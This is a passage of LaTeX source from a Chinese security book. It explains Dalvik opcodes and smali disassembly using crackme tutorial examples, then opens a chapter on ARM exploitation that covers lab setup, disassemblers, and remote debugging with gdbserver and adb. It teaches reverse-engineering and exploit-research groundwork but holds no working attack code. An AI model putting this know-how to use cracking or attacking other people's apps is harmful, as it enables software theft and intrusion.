基本的opcode,说明指令功能 59 | \item[wide] 名称后缀,说明它操作64位数据 60 | \item[from16] 指令后缀,说明它的源操作数是一个16位寄存器 61 | \item[vAA] 目的寄存器,\lstinline!AA!是两个字母,表示寄存器的范围是\lstinline!v0!到\lstinline!v255!(一个字母表示4位) 62 | \item[vBBBB] 源寄存器,\lstinline!BBBB!是四个字母,表示寄存器的范围是\lstinline!v0!到\lstinline!v65535! 63 | \end{itemize} 64 | 下面我们介绍Dalvik指令集,限于篇幅只列举和说明基本opcode,关于每个opcode可以适用的名称后缀、指令后缀、寄存器范围等,请参考dalvik/docs/dalvik-bytecode.html文件。 65 | \begin{filecontents}{chapter-cn/LTXtable-dalvikopcode.tmp} 66 | \begin{longtable}{lX} 67 | \hline \textbf{基本指令} & \textbf{描述} \\ 68 | \hline \lstinline!nop! & 空指令 \\ 69 | \hline \lstinline!move! & 将源寄存器的值拷贝给目标寄存器 \\ 70 | \hline \lstinline!move-result! & 将最近一次\lstinline!invoke!类型指令(函数调用)所返回的结果拷贝给指定的寄存器 \\ 71 | \hline \lstinline!move-exception! & 将最近一次捕获到的异常值拷贝给指定寄存器 \\ 72 | \hline \lstinline!return-void! & 在\lstinline!void!型的方法中返回,类似于C中的直接\lstinline!return! \\ 73 | \hline \lstinline!return! & 在方法中,以指定寄存器的值返回 \\ 74 | \hline \lstinline!const! & 将一个常量值(或常量字符串)赋给指定的寄存器 \\ 75 | \hline \lstinline!monitor-enter! & 请求对指定目标的监视器 \\ 76 | \hline \lstinline!monitor-exit! & 释放对指定目标的监视器 \\ 77 | \hline \lstinline!check-cast! & 如果寄存器不能被动态转换为指定类型,就释放一个\lstinline!ClassCastException!异常 \\ 78 | \hline \lstinline!instance-of! & 检查源寄存器中引用的值是否是指定类型数据,将结果1或0保存至目标寄存器 \\ 79 | \hline \lstinline!array-length! & 将源寄存器指向的数组的长度取给目标寄存器 \\ 80 | \hline \lstinline!new-instance! & 动态创建指定类型的一个新对象实例,将其引用值赋给目标寄存器 \\ 81 | \hline \lstinline!new-array! & 动态创建指定类型的一个数组,其元素个数由源寄存器给出,将其引用值赋给目标寄存器 \\ 82 | \hline \lstinline!filled-new-array! & 动态创建指定类型的一个数组,并以指定的值初始化,得到的结果必须使用\lstinline!move-result-object!来保存到特定寄存器,就像\lstinline!invoke!那样 \\ 83 | \hline \lstinline!fill-array-data! & 以指定的数据填充一个数组 \\ 84 | \hline \lstinline!throw! & 抛出一个指定的异常 \\ 85 | \hline \lstinline!goto! & 无条件跳转至指定位置的指令 \\ 86 | \hline \lstinline!packed-switch! & 测试寄存器的值,跳转到指定位置的指令\\ 87 | \hline \lstinline!sparse-switch! & 测试寄存器的值,跳转到指定位置的指令,位置保存在排好序的值-偏移对中 \\ 88 | \hline \lstinline!cmp! & 比较两个寄存器中的\lstinline!float!或\lstinline!double!或\lstinline!long!值,返回等于(0)、大于(-1)、小于(1)到目的寄存器 \\ 89 | \hline \lstinline!if-!test & 例如\lstinline!if-eq!、\lstinline!if-lt!、\lstinline!if-ge!等,如果要比较的两个寄存器的值符合test条件,就跳转到指定偏移的指令 \\ 90 | \hline \lstinline!if-!test\lstinline!z! & 与\lstinline!if-!test类似,但是是一个寄存器与0比较 \\ 91 | \hline \lstinline!aget!,\lstinline!aput! & 根据索引读或者写一个数组(array)的指定元素 \\ 92 | \hline \lstinline!iget!,\lstinline!iput! & 读或者写一个对象实例(instance)中的特定的域\\ 93 | \hline \lstinline!sget!,\lstinline!sput! & 读或者写一个静态域(static field)中的特定的域\\ 94 | \hline \lstinline!invoke-!kind & 函数调用,类型kind包括:\lstinline!virtual!虚方法、\lstinline!super!最近的父类的虚方法、\lstinline!direct!非静态直接方法、\lstinline!static!静态方法、\lstinline!interface!接口方法\\ 95 | \hline unop & 单变量算术运算,例如\lstinline!neg-int!取整数的补码、\lstinline!long-to-float!将长整数转换为浮点数等等 \\ 96 | \hline binop & 双变量算术运算,例如\lstinline!sub-int!整数相减,\lstinline!shr-long!长整数算术右移等等 \\ 97 | \hline 98 | \end{longtable} 99 | \end{filecontents} 100 | \LTXtable{\textwidth}{chapter-cn/LTXtable-dalvikopcode.tmp} 101 | 102 | \section{smali语法} 103 | 由于在静态分析时smali反汇编得到Dalvik指令是目前最常用的一种方法,本节基于smali的语法对Dalvik指令集做进一步介绍。 104 | 105 | 本节和下一节的代码来自于lohan+在其博客\cite{url:androidcracking}上发表的两篇相关教程,他已经授权本文使用,在此表示感谢。 106 | 107 | 其中涉及大量关于Dalvik中数据类型的语法,请回顾第\ref{SubSec:dalvik_data_type}节。 108 | 109 | 先来看一个smali源文件,比较长,我们在后面逐一解释: 110 | \lstinputlisting[language=smali, caption={smali源文件示例}]{code/example.smali} 111 | 112 | 第1行指明该文件所定义的类的名称\lstinline!com.packageName.example!,以及类属性\lstinline!public!;第2行指明该类的父类为\lstinline!java.lang.Object!;第3行指明该文件的文件名为example.java: 113 | \lstinputlisting[language=smali, firstline=1, lastline=3, firstnumber=1]{code/example.smali} 114 | 115 | 第5和7行给出了类的两个域实例,一个是名为someInt的整型变量,一个是名为someBool的布尔型变量: 116 | \lstinputlisting[language=smali, firstline=5, lastline=7, firstnumber=5]{code/example.smali} 117 | 118 | 接下来是该类的构造函数。先看一下这个函数的开始几行: 119 | \lstinputlisting[language=smali, firstline=9, lastline=14, firstnumber=9]{code/example.smali} 120 | 第9行的\lstinline!.method!前缀说明下面是一个函数,\lstinline!public!说明其作用域,\lstinline!constructor!说明其是类的构造函数,使用了默认的\lstinline!!作为供人阅读的函数名(显然,构造函数的真实函数名与类名相同)。接下来的\lstinline!(ZLjava/lang/String;I)V!需要注意,其中括号内是参数类型列表,多个参数直接写在一起,不使用任何符号分隔,括号后是返回值类型。在这个构造函数中,有三个参数,第一个参数\lstinline!Z!是布尔型;第二个参数\lstinline!Ljava/lang/String;!是Java中的字符(注意在以\lstinline!L!开头接对象全称的这种参数语法上,最后以分号结尾以划分与后面类型的界限);第三个参数\lstinline!I!是整型。返回值是\lstinline!V!,即\lstinline!void!型。因此,这个构造函数的原型为: 121 | \begin{lstlisting}[language=java, numbers=none] 122 | public void example(boolean someBool, String exampleString, int someInt); 123 | \end{lstlisting} 124 | 如果对这一部分还不理解,请回过头再看一下\ref{SubSec:dalvik_data_type}一节。 125 | 126 | 第10行指出这个函数需要使用六个寄存器来存储局部变量,在函数内部分别记为\lstinline!v0!、\lstinline!v1!到\lstinline!v5!。 127 | 128 | 第12到14行给出了三个参数的名称。注意有时候代码被混淆后,这部分信息将丢失。另外注意这里列举的顺序与函数实际参数顺序并不一致。 129 | 130 | \lstinputlisting[language=smali, firstline=16, lastline=18, firstnumber=16]{code/example.smali} 131 | 第16行的\lstinline!.prologue!可以直接忽略。第17行的\lstinline!.line 10!标明行号,主要在调试时使用。 132 | 133 | 第18行出现了函数调用\lstinline!invode-direct!。其中,\lstinline!p0!是指参数0,即\lstinline!this!指针,这条语句调用了父类\lstinline!java.lang.Object!的构造函数,其参数为空,返回值为\lstinline!void!。 134 | 135 | \lstinputlisting[language=smali, firstline=20, lastline=26, firstnumber=20]{code/example.smali} 136 | 第20行,将一个字符串的引用值赋给了局部寄存器\lstinline!v0!;第22行,将常量0xf(也就是十进制的15)赋给局部寄存器\lstinline!v0!,这会导致之前保存的字符串引用值丢失。 137 | 138 | 第24到26行,动态分配了一个\lstinline!java.lang.StringBuilder!对象,将其引用值赋给\lstinline!v1!,又将一个字符串的引用值赋给\lstinline!v2!,最后调用了\lstinline!v1!指向的\lstinline!StringBuilder!对象的构造函数,将\lstinline!v2!作为参数。注意第26行的\lstinline!invoke-direct!指令,其后的\lstinline!{v1, v2}!,第一个参数和第二个参数的不同作用。 139 | 140 | \lstinputlisting[language=smali, firstline=28, lastline=29, firstnumber=28]{code/example.smali} 141 | 第28行,调用了\lstinline!v1!指向\lstinline!StringBuilder!对象的\lstinline!append(boolean)!方法,其参数使用\lstinline!p1!,即该函数的第一个实际参数\lstinline!boolean someBool!。注意这条指令的返回值是一个新的\lstinline!java.lang.StringBuilder!对象,在第29行,将这个返回值重新赋给了\lstinline!v1!。综上,第20到29行的源码应该是: 142 | 143 | \begin{lstlisting}[language=java, numbers=none] 144 | StringBuilder a = new StringBuilder("the spice must flow"); 145 | a = a.append(someBool); 146 | \end{lstlisting} 147 | 148 | 我们跳过几行,直接看到第38行: 149 | 150 | \lstinputlisting[language=smali, firstline=38, lastline=40, firstnumber=38]{code/example.smali} 151 | 可以看到,在39行,调用了\lstinline!android.util.Log!中的\lstinline!int d(String, String)!这个静态方法,注意这里使用了恰当的\lstinline!invoke-static!指令,并且其两个参数\lstinline!{v0, v1}!直接作为了\lstinline!d()!的两个参数,而不再像前面\lstinline!invoke-direct!那样第一个参数是方法所在对象的句柄。 152 | 153 | 再来看第50行: 154 | \lstinputlisting[language=smali, firstline=50, lastline=50, firstnumber=50]{code/example.smali} 155 | 使用了\lstinline!iput-boolean!指令,前面已经介绍,\lstinline!iput!是对对象实例中域的操作,这里对象实例由\lstinline!p0!给出,因此这条指令是取出\lstinline!p1!的值,赋给\lstinline!p0!的名为\lstinline!someBool!的域。注意这里遇到了一个名称作用域的问题,当前函数的第一个参数叫\lstinline!someBool!,当前类实例有一个域也叫\lstinline!someBool!,由于使用的\lstinline!iput!,因此这里使用类实例的域。这一行代码等价于源码: 156 | \begin{lstlisting}[language=java, numbers=none] 157 | this.someBool = someBool; 158 | \end{lstlisting} 159 | 160 | 最后,在第61行,这个构造函数使用\lstinline!return-void!指令退出。到此,读者可以尝试自己阅读和分析第64到78行的\lstinline!someMethod!方法。 161 | 162 | \section{常见源码结构} 163 | 无论是学习哪个指令集的反汇编,最好的方法都是自己动手将常见的代码结构写出来、编译好,再反汇编,将源码与反汇编结果对应起来看。lohan+再次为我们提供了这样的资源。 164 | 165 | \subsection{构造函数和域} 166 | \lstinputlisting[language=java, firstline=8, lastline=11, firstnumber=8, caption={构造函数、域的Java示例}]{code/example-structures.java} 167 | \lstinputlisting[language=smali, firstline=5, lastline=18, firstnumber=5, caption={构造函数、域的smali示例}]{code/example-structures.smali} 168 | 169 | Java中的静态变量,也就是域\lstinline!Count!,在smali中被\lstinline!.field!引导申明,说明其是一个静态私有\lstinline!int!型变量。 170 | 171 | Java中类\lstinline!example!的构造函数,在smali中被\lstinline!.method!引导并被\lstinline!constructor!修饰,其方法名变成了\lstinline!!。注意在第12行,该方法显式地调用了其父类的构造函数(同样以\lstinline!!命名)。 172 | 173 | 在代码的第15行,\lstinline!sput!指令的作用是赋给一个域变量指定的值。注意域是类有关而与具体对象无关的,因此需要使用\lstinline!Lcom/lohan/crackme1/example;!来指出其归属关系。这也是为什么\lstinline!sput!需要单独作为一条指令。 174 | 175 | \subsection{for结构} 176 | \label{SubSec:dalvik-smali-for} 177 | \lstinputlisting[language=java, firstline=13, lastline=17, firstnumber=13, caption={for结构的Java示例}]{code/example-structures.java} 178 | 179 | \lstinputlisting[language=smali, firstline=62, lastline=97, firstnumber=62, caption={for结构的smali示例}]{code/example-structures.smali} 180 | 181 | 首先注意第70行和79行有两个标签\lstinline!:goto_1!和\lstinline!:cond_6!,这种标签用于标记代码位置,用于\lstinline!goto!跳转。 182 | 183 | 接下来看代码。在67行,定义了一个局部整形变量(在69行给出其名字信息\lstinline!i!),初始化为\lstinline!0!。在71行,将\lstinline!com.lohan.crackme1.example!类的域\lstinline!Counter!的值取到寄存器\lstinline!v1!。 184 | 185 | 然后在73行将\lstinline!i!与\lstinline!v1!作比较,使用的是\lstinline!if-lt!指令。注意这条指令的第三个操作数为标签\lstinline!:cond_6!。这条指令的执行效果是:如果\lstinline!i!比\lstinline!v1!小(less-than),就跳转到\lstinline!:cond_6!标记的位置;否则顺序执行,即执行\lstinline!return-void!返回。 186 | 187 | 当跳转到\lstinline!:cond_6!后,我们来看第80行到91行,它们对应的Java源码只有一行: 188 | \begin{lstlisting}[language=java, numbers=none] 189 | System.out.println("current val for loop: " + i); 190 | \end{lstlisting} 191 | 但在smali中,使用了四个\lstinline!invoke!才完成。主要流程是:取\lstinline!java.lang.System!类的\lstinline!out!域,它是一个\lstinline!java.io.PrintStream!对象;创建一个\lstinline!java.lang.StringBuilder!对象;用固定的字符串初始化这个对象;用该对象的\lstinline!append!方法将\lstinline!i!加到字符串后面;用该对象的\lstinline!toString!方法转化为字符串对象;最后,调用\lstinline!out!的\lstinline!println!方法,打印出这个字符串。 192 | 193 | 由此可以看出,smali代码实际上已经到了Java VM opcode的细致程度,要精通smali,对JVM指令集的了解是需要的。 194 | 195 | 最后,在打印完字符串以后,在94行,通过\lstinline!add-int!指令,让\lstinline!i!加\lstinline!1!,然后跳转到\lstinline!:goto_1!的位置继续执行下一次循环。 196 | 197 | 这就是smali中\lstinline!for!循环的标准结构:两个位置标签,一个用于没有越界时跳过\lstinline!return!语句,一个用于加1后循环。 198 | 199 | \subsection{switch结构} 200 | \label{SubSec:dalvik-smali-switch} 201 | 202 | \lstinputlisting[language=java, firstline=19, lastline=29, firstnumber=19, caption={switch结构的Java示例}]{code/example-structures.java} 203 | \lstinputlisting[language=smali, firstline=99, lastline=158, firstnumber=99, caption={switch结构的smali示例}]{code/example-structures.smali} 204 | 205 | smali中的\lstinline!switch!结构非常有特色。 206 | 207 | 首先看第109行,有一条\lstinline!sparse-switch!指令,从名字就可以看出其用于解析\lstinline!switch!结构。它有两个操作数,第一个是用于判断的值,在这个例子里是整形变量\lstinline!val!;第二个操作数名为\lstinline!:sswitch_data_2e!,这实质上是一个标签(即为一个地址)。 208 | 209 | 先看151行,这里有一段由\lstinline!.sparse-switch!和\lstinline!.end sparse-switch!修饰符界定的指令结构,其中每一行的格式类似于\lstinline!0x1 -> :sswitch_d!,其含义是:当\lstinline!switch!选择的值为\lstinline!0x1!时,跳转到\lstinline!:sswitch_d!这个标签指向的位置开始执行。 210 | 211 | 我们继续到这个跳转位置\lstinline!:sswitch_d!看,它位于121行,执行了该分支的指令后,执行了\lstinline!goto!,跳转到一个被标记为\lstinline!:goto_c!的地方直接返回。注意所有的分支最后都跳转到了这同一个位置返回。 212 | 213 | 最后,112到114这几行是做什么用的?对比一下Java源码可以看到,它是给\lstinline!default!分支使用的。 214 | 215 | 现在,让我们把整个代码合并到一起来看。在smali中,\lstinline!switch!结构的代码,首先使用\lstinline!sparse-switch!解析一个集中的跳转表,而这个跳转表会位于函数的最后;接下来根据跳转表,跳转到相应的分支执行;执行完成后,跳转到\lstinline!switch!后面的代码执行。 216 | 217 | 这种独特的设计,导致诸如\lstinline!dex2jar!等反编译工具在将Dalvik指令转成JVM指令,并由\lstinline!jd-gui!将JVM指令反编译为Java源码时,出现错误。例如,\lstinline!SwitchExample!函数就会被反编译如下: 218 | \lstinputlisting[language=java, firstline=37, lastline=59, firstnumber=37, caption={dex2jar和jd-gui反汇编的switch结构}]{code/example-structures.dex2jar.java} 219 | 造成这种错误,就是没有解析\lstinline!sparse-switch!所指向的跳转表所致。 220 | 221 | 而如果使用\lstinline!ded!将Dalvik指令转成JVM指令,用\lstinline!soot!优化并反汇编,得到的结果要好很多(仍有细微错误): 222 | \lstinputlisting[language=java, firstline=48, lastline=75, firstnumber=48, caption={ded和soot反汇编的switch结构}]{code/example-structures.ded.java} 223 | 224 | \subsection{try-catch结构} 225 | \label{SubSec:dalvik-smali-trycatch} 226 | \lstinputlisting[language=java, firstline=31, lastline=46, firstnumber=31, caption={try-catch结构的Java示例}]{code/example-structures.java} 227 | \lstinputlisting[language=smali, firstline=160, lastline=262, firstnumber=160, caption={try-catch结构的smali示例}]{code/example-structures.smali} 228 | 229 | Dalvik中,\lstinline!try-catch!结构也非常独特,其实现方式与\lstinline!switch!很相似。 230 | 231 | 首先看一下187和189行,如下: 232 | \lstinputlisting[language=smali, firstline=187, lastline=189, firstnumber=187, caption={异常捕获结构片段}]{code/example-structures.smali} 233 | 234 | 这两行均由\lstinline!.catch!修饰符引导,后面有三个数据,第一个是要捕获的异常类型,例如\lstinline!Ljava/net/MalformedURLException;!;第二个是抛出异常的代码范围,在187行的\lstinline!{:try_start_4 .. :try_end_10}!,含义是\lstinline!:try_start_4!到\lstinline!:try_end_10!之间的代码抛出的异常在其接受范围内;第三个数据是处理异常的代码位置,例如\lstinline!:catch_11!。 235 | 236 | 如果分别看\lstinline!:try_start_4!和\lstinline!:try_end_10!之间的代码、\lstinline!:catch_11!开始的代码,会发现正好和源码一一对应上。这没有什么特别之处。 237 | 238 | 另一个细节是,在这个例子中,\lstinline!catch!处理完后,\lstinline!goto!到了195行函数返回。与\lstinline!switch!类似的原因,由于对\lstinline!.catch!修饰符的解析不足,导致\lstinline!dex2jar!和\lstinline!jd-gui!的组合在处理这样的结构时也会出错,如下所示: 239 | \lstinputlisting[language=java, firstline=61, lastline=78, firstnumber=61, caption={dex2jar和jd-gui反汇编的try-catch结构}]{code/example-structures.dex2jar.java} 240 | 241 | 而使用\lstinline!ded!和\lstinline!soot!反编译得到的结果非常准确: 242 | \lstinputlisting[language=java, firstline=77, lastline=95, firstnumber=77, caption={ded和soot反汇编的try-catch结构}]{code/example-structures.ded.java} 243 | 244 | \subsection{数组} 245 | \lstinputlisting[language=java, firstline=48, lastline=59, firstnumber=48, caption={数组的Java示例}]{code/example-structures.java} 246 | \lstinputlisting[language=smali, firstline=20, lastline=60, firstnumber=20, caption={数组的smali示例}]{code/example-structures.smali} 247 | 248 | 首先看一下数组的动态分配。在第30行,使用了\lstinline!new-array!指令,它有三个操作数,第一个是用于保存结果的寄存器,第二个是用于提供数组大小的寄存器,第三个指出数组类型(注意不是数组元素的类型)。这里的类型是\lstinline![Ljava/lang/String;!,回忆\ref{SubSec:dalvik_data_type}节提到的数据类型描述方法,其中\lstinline![!表明它是一个数组,后面紧接元素类型。 249 | 250 | 在35行,要赋给数组元素的字符串值,直接使用\lstinline!const-string!生成了。注意与80到91行(参考前面的“for结构”)的区别,在那里,smali用\lstinline!StringBuilder!对象来初始化字符串,然后通过该对象的\lstinline!toString!方法得到字符串对象(请读者自己思考为什么这两处使用了不同的方法)。 251 | 252 | 在得到\lstinline!java.lang.String!对象后,使用了\lstinline!aput-object!将字符串对象赋给字符串数组中特定的元素。\lstinline!aput!中的\lstinline!a!是array的缩写,它有三个操作数,第一个是指向源对象的寄存器,第二个是保存了数组的寄存器,第三个是要操作的数组下标,即索引。可以在一条指令内直接对数组的某一元素直接操作,是JVM和Dalvik指令集的一个特点。 253 | 254 | 在43行,为了取出数组的两个元素进行对比,使用了\lstinline!aget-object!指令,它是与\lstinline!aput-object!对应的指令。 255 | 256 | -------------------------------------------------------------------------------- /chapter-cn/arm.tex: -------------------------------------------------------------------------------- 1 | %!TEX encoding = UTF-8 Unicode 2 | \chapter{ARM漏洞利用} 3 | \label{Chap:arm} 4 | \section{学习的目的} 5 | 目前,绝大部分智能移动终端使用ARM处理器,包括基于Android、iOS、Symbian、Windows Mobile、Windows Phone等操作系统的手机和平板电脑。ARM还被大量的嵌入式设备使用。 6 | 7 | 使用ARM处理器的PC也已经出现。几年前,Debian就发布了ARM移植版;2011年,Ubuntu开始支持ARM;2012年将正式发布的Windows 8也已经被微软移植到ARM上。预计在2012年,使用ARM处理器的笔记本电脑将开始流行。 8 | 9 | ARM还开始向服务器市场发展。目前,NVIDIA公司和巴塞罗那超级计算中心还推出了基于ARM和CUDA计算的超级计算机,NVIDIA也将在2012年初向普通开发者推出基于ARM的CUDA开发工具。 10 | 11 | 可以看出,ARM设备无论是数量上还是覆盖面都不逊色于PC。但ARM的安全问题,尤其是其上软件漏洞的问题,直到近几年才引起人们的注意。 12 | \section{环境和工具} 13 | \subsection{ARM设备和系统} 14 | \subsubsection{开发板} 15 | 获得一个ARM设备的常规方法是购买或者定制ARM开发板。如果不打算移植Android等系统,可以选择mini2440,否则可以选择mini6410等型号。 16 | 17 | 需要自己为开发板交叉编译操作系统,并烧录进去。这个过程会比较好玩。但如果觉得乏味,或者时间不够,可以使用Ångstr\"om发行版\cite{url:angstrom}。 18 | 19 | 开发板的优点是,它是一个真实的ARM设备和运行环境;缺点是操作稍显繁琐。除此以外,还有其他方法可以获得ARM系统。 20 | 21 | \subsubsection{Android模拟器或手机} 22 | Android手机本身就是一个ARM设备,而Android底层的Linux内核就是运行于ARM上的系统。因此,Android手机基本是可以充当ARM开发和调试环境的。此外,Android SDK中的模拟器也是基于qemu模拟了ARM设备。从漏洞分析和漏洞利用的角度来看,使用Android手机或模拟器进行学习的优点包括: 23 | 24 | \begin{itemize} 25 | \item 如果要分析Android的漏洞,这自然是最佳的选择 26 | \item 有完善的开发工具链和系统源码 27 | \item 模拟器的硬件(边际)成本为0 28 | \end{itemize} 29 | 30 | 但缺点也不少: 31 | 32 | \begin{itemize} 33 | \item 在Android中的Linux上,没有太多的本地应用程序,例如\lstinline!gdb!等调试工具(只有\lstinline!gdbserver!) 34 | \item 不使用glibc库,而是自行开发的bionic,因此一些利用技巧在细节上会和Linux(on ARM)有差异 35 | \item 目标文件的编译,或者完全静态链接,或者用NDK开发,或者与Android源码一起编译,均显繁琐 36 | \end{itemize} 37 | 38 | 无论如何,模拟器完全没有成本,建议在PC中常备以便使用。 39 | 40 | \subsubsection{Debian虚拟机} 41 | 早在2000年,Debian就开始了对ARM处理器的移植工程,目前其仓库中几乎所有的软件都有了ARM版本,包括\lstinline!objdump!、\lstinline!gdb!等常用开发和漏洞分析工具。 42 | 43 | 另一方面,\lstinline!qemu!模拟器已经可以完美地模拟ARM处理器及其硬件平台,可以用它在x86的PC上运行ARM版的Debian。 44 | 45 | 可以直接从Debian的官网下载到其ARM安装包,然后参考aurel提供的安装指南\cite{url:debian_arm_qemu}。 46 | 47 | 更省事的方案是直接下载已经安装好的\lstinline!qemu!镜像,也是由aurel提供。包括arm版\cite{url:debian_img_arm}和armel版\cite{url:debian_img_armel},建议使用后者。 48 | 49 | \subsubsection{Toshiba AC100} 50 | Toshiba AC100是目前唯一一款拥有标准全键盘的ARM笔记本。它最初是为Android设计,但hackers已经将多个Ubuntu版本移植到该机器上。最终,Canonical公司从Ubuntu 11.10开始专门为这一机器提供预编译版本和软件源,作为其向ARM平台扩张的第一步。 51 | 52 | 该机器在国内的型号为AC100-01B,已经不再生产,但可以购买到二手的。 53 | 54 | 这个笔记本是目前唯一一种可以最轻松获得的真实ARM机器,并拥有前面提到的Debian虚拟机的一切优点。 55 | 56 | 此外,在前面所述的方案中,除了4.0以上Android,其Linux Kernel均未开启ASLR(地址空间布局随机化)特性,但在Ubuntu for AC100中,开启了ASLR。这固然为简单的ret2libc等攻击带来了困难,但另一方面,也成为几乎是唯一的分析ASLR下漏洞的环境。考虑到Android 4.0开始去掉prelink优化、全面开启ASLR特性\cite{aslr_android},这种研究的价值是显然的。 57 | 58 | \subsubsection{Nokia N900手机} 59 | 另一个hack利器是Nokia N900手机,这款老手机采用已经被抛弃的Maemo系统,该系统是基于Linux的手机操作系统,开放性较高。N900的键盘操作性不强,系统也适合于有hack精神的人玩。 60 | \subsection{交叉编译工具} 61 | 进行嵌入式开发时,编译工具运行于一个平台,但生成另一个平台的指令,这种编译过程称之为交叉编译,所使用的编译工具又称之为工具链。 62 | 63 | 在x86上编译ARM代码最常用的工具链由CodeSourcery公司免费提供,有Windows版本和Linux版本\cite{url:sourcery}。 64 | 65 | 此外,在基于Debian的系统(例如Ubuntu)中,也可以通过\lstinline!apt-get install gcc-arm-linux-gnueabi!直接获得一个交叉编译gcc。 66 | 67 | Android的NDK中实际上也包含了完整的工具链,包括编译器、调试器、binutils等。它同样有Windows和Linux版本。 68 | 69 | 然而NDK也有不足,即只能为Android编译代码,也只能使用其提供的有限的库接口。对后面一个问题,如果需要编译使用了Andrid系统中较底层API的ARM程序,建议使用\lstinline!agcc!工具,具体可以看我写的文章\footnote{\url{http://blog.claudxiao.net/2011/10/android\_agcc/}}。 70 | \subsection{反汇编和反编译工具} 71 | 工具链包含了很多的工具,如果静态反汇编,可以使用\lstinline!objdump!;如果动态运行起来,在\lstinline!gdb!中也可以使用\lstinline!disass!反汇编。 72 | 73 | 对ARM反汇编支持最好的工具是IDA Pro,但它是商业软件。自由开源的反编译工具可以考虑radare\cite{url:radare}或者smiasm\cite{url:smiasm},但radare和smiasm对Thumb、Thumb-2指令集的支持都不强。 74 | 75 | 对这三个工具在ARM反汇编上的对比可以参考我的文章\footnote{\url{http://blog.claudxiao.net/2011/12/arm-disassemblers}}。 76 | 77 | \begin{table}[htbp] 78 | \caption{ARM反汇编器对比} 79 | \centering 80 | \begin{tabular}{lllll} 81 | \toprule 82 | 方案 & 开源 & 支持Thumb & 递归反汇编 & 提供指令详情 \\ 83 | \midrule 84 | smiasm & 是 & 否 & 是 & 是 \\ 85 | radare & 是 & 是 & 否 & 否 \\ 86 | IDA & 否 & 是 & 是 & 是\\ 87 | \bottomrule 88 | \end{tabular} 89 | \end{table} 90 | 91 | 事实上,ARM的指令编码并不复杂,自己写一个ARM反汇编器的工作量远小于想象。 92 | 93 | 目前ARM的反编译工具只有Hex-Rays ARM Decompiler,是一款昂贵的收费软件。 94 | \subsection{远程调试} 95 | 可以使用\lstinline!gdb!远程调试ARM设备或虚拟机中的程序。假设设备的IP地址是192.168.0.2,要调试的程序名为demo,则在设备端运行: 96 | \begin{lstlisting}[language=bash, numbers=none] 97 | $ gdbserver 192.168.0.2:23456 /path/to/demo 98 | \end{lstlisting} 99 | 100 | 接下来,在主机端使用ARM工具链中的\lstinline!gdb!调试: 101 | \begin{lstlisting}[language=bash, numbers=none] 102 | $ arm-eabi-gdb /path/to/demo 103 | \end{lstlisting} 104 | 105 | 在进去\lstinline!gdb!调试会话后,键入: 106 | \begin{lstlisting}[language=bash, numbers=none] 107 | (gdb) target remote 192.168.0.2:23456 108 | \end{lstlisting} 109 | 110 | 即可开始调试。 111 | 112 | gdb也可以远程调试Android。在Android源码编译后,out/target/product//system/bin目录下会有\lstinline!gdbserver!,可以将其push到手机的/data/local目录下,给其可执行权限,然后类似于上面的方法使用。 113 | 114 | 与上述gdb远程调试Linux系统不同的是,调试Android手机需要用\lstinline!adb!工具做端口转发,方法如下: 115 | 116 | \begin{lstlisting}[language=bash, numbers=none] 117 | $ adb forward tcp:23456 tcp:23456 118 | \end{lstlisting} 119 | 120 | 其中第一个参数是手机系统内的端口,第二个参数是本地端口。然后在本地的gdb中,\lstinline!target!的IP地址就是本地127.0.0.1了。 121 | 122 | 类似于此,还可以使用IDA Pro远程调试Android系统中的ELF可执行文件或动态链接库文件(包括NDK开发了用于APK文件的本地动态库)。步骤如下(该方法来自于Berry的文章\footnote{\url{http://debugman.com/thread/6230/1/1}}): 123 | 124 | \begin{enumerate} 125 | \item 将IDA Pro 6.1的bin目录下的\lstinline!android_server!文件\lstinline!push!到手机的/data/local目录下,并通过adb shell给其可执行权限; 126 | \item 在\lstinline!adb shell!里,启动这个\lstinline!android_server!程序,查看其输出,默认情况下打开23946号端口; 127 | \item 在本地的shell中使用\lstinline!adb!工具转发该端口:\lstinline!adb forward tcp:23946 tcp:23946!; 128 | \item 在IDA Pro的Debugger菜单中,选择Android调试,在其选项中,hostname填写127.0.0.1,port填写23946。如果是调试一个可执行文件,还需要在application中填上可执行文件在Android系统中的路径;input file中填写与application一致的文件及路径,并加上运行参数;在directory中填上该文件所在目录。 129 | \item 在IDA Pro的Debugger菜单中,如果是调试已经存在的进程,选择attach,在弹出来的进程列表中选择要调试的进程即可;如果是调试一个可执行文件,选择start process即可。 130 | \end{enumerate} 131 | 132 | \section{ARM体系结构} 133 | \subsection{ARM指令集} 134 | ARM同时是三个不同事物的名字: 135 | \begin{itemize} 136 | \item 一个公司 137 | \item 一种体系结构 138 | \item 一系列CPU产品 139 | \end{itemize} 140 | 这一章主要是指第二种含义。 141 | 142 | ARM是32位RISC结构,在ARMv5以后,基本采用Harvard结构,与传统的冯诺依曼结构不同的是,数据和代码被最大程度隔离了。既便于数据段保护的x86也有本质区别,ARM的代码和数据采用不同的总线传输(并因此获得并行而提速)。其数据段自然不能被执行。 143 | 144 | \subsubsection{寄存器} 145 | 对程序员可见的寄存器主要是\lstinline!r0!到\lstinline!r15!共16个,不同的寄存器有不同的用途,将在下一节说明。 146 | 147 | 此外,有程序状态寄存器\lstinline!PSR!,其中包括算数逻辑运算标志、执行状态位、当前中断号等。 148 | 149 | \subsubsection{数据操作指令} 150 | 基本形式是: 151 | \begin{lstlisting}[numbers=none] 152 | {}{S} , {, } 153 | \end{lstlisting} 154 | 其中: 155 | \begin{itemize} 156 | \item[opcode] 比如\lstinline!MOV!、\lstinline!ADD!,与x86类似,具体可以查ARM手册 157 | \item[cond] 可选的条件码。条件执行是ARM的特色之一,几乎所有的ARM指令都可以加上条件码,实现条件执行。例如,\lstinline!EQ!、\lstinline!LE!等 158 | \item[S] 可选的\lstinline!S!位,如果该条指令会更改\lstinline!PSR!,则应置上\lstinline!S!位 159 | \item[operand] 操作数可以是寄存器,也可以是一个右值(后面会说明),每条指令有多少操作数,分别是什么含义,应查手册 160 | \end{itemize} 161 | 162 | ARM中的右值操作数可以是一个寄存器、一个立即数,或者一个寄存器的移位。例如,右值\lstinline!R1, LSL #2!由\lstinline!R2!的值逻辑左移2位得到,右值\lstinline!R1, ASR R3!由\lstinline!R1!的值算术右移\lstinline!R3!位得到。 163 | 164 | \subsubsection{分支跳转指令} 165 | \begin{itemize} 166 | \item[B] 直接跳转到一个地址,唯一的参数是12位立即数,与x86中的\lstinline!jmp!功能一样 167 | \item[BL] 将下一条指令地址(即返回地址)赋给\lstinline!LR!寄存器,然后跳转到参数指定的地址,参数是一个12位立即数。\lstinline!BL!与x86中的\lstinline!call!功能一样 168 | \item[BX] 参数是一个寄存器,跳转到该寄存器指向的地址 169 | \end{itemize} 170 | 